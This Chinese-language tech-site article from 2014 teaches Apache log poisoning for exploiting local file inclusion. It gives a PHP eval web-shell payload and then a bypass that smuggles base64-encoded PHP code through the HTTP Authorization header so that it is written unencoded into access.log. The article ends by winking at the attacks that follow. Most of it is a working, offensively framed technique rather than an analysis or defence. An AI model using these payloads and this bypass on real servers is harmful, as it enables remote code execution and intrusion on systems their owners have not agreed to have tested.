知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

Apache日志绕过URL编码方法

发布时间:2014-07-15 11:50:28作者:知识屋

场景:在有LFI vul的时候,我们一般用的最多的便是构造恶意日志来达到利用。这一过程中可能会遇到一些问题,以下内容提出了所遇到的问题以及给出的解决方法。
主题:Apache日志绕过URL编码方法
首先简单介绍下Apache的日志,Apache的日志默认存储在安装目录下的logs文件夹下,主要有访问日志和错误日志。在Windows下这两个日志文件为access.log和error.log,Linux下是access_log和error_log。
(注:我已在本地虚拟机搭建好测试环境,IP为:192.168.5.66)
其中access.log/access_log访问日志记录了所有对Web服务器的访问活动。格式如下:

192.168.5. 66- - [21/Apr/2014:10:21:04 +0800] "GET /test.php?id=1 HTTP/1.1" 200 2876


1.远程主机、2.空白(E-mail)、3.空白(登录名)、4.请求时间、5.方法+资源+协议、6.状态代码、7.发送字节数
据此特点,我们可以构造一个恶意的访问记录,payload如下:


http:// 192.168.5. 66/test.php?id=<?php eval($_POST[test]);?>


将以上地址输入访问即可在访问日志中生存一条记录:

192.168.5. 66- - [21/Apr/2014:11:21:04 +0800] "GET /test.php?id=%3C?php%20eval($_POST[test]);?%3E HTTP/1.1" 200 2956


这条日志中
id=%3C?php%20eval($_POST[test]);?%3E
 


这段代码对应的是URL中的
id=<?php eval($_POST[test]);?>


可见字符’<’,’ ‘和’<’分别被URL编码为’%3C’,’%20’和’%3E’。因此我们需要绕过URL编码将正确的代码写入日志中。
绕过URL编码原理:
利用HTTP HEADER中Authorization字段,该字段是用来发送用于HTTP AUTH认证的信息,其值的格式为”Basic base64(User:Pass)”。据此,我们重新构造payload如下:
URL地址:http:// 192.168.5.115/test.php
HTTP HEAD中添加:Authorization=Basic PD9waHAgcGhwaW5mbygpPz46MTIzNTY=
注:PD9waHAgcGhwaW5mbygpPz46MTIzNTY==为base64(<?php phpinfo()?>:12356)
利用此方法可成功绕过URL编码,将正确的PHP代码写入日志如下:
192.168.5.115 - <?php phpinfo()?> [21/Apr/2014:11:21:04 +0800] "GET /test.php HTTP/1.1" 200 2735



实际演示:
访问网站根目录:

查看访问日志:

增加HTTP HEADER的Authorization字段:







查看访问日志确定Authorization字段值是否成功写入日志中

这样就可以成功绕过URL编码将PHP代码成功写入Apache日志中,至于成功写入PHP代码之后的攻击方法,在此就不在累述,你们懂得,嘿嘿。
 
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜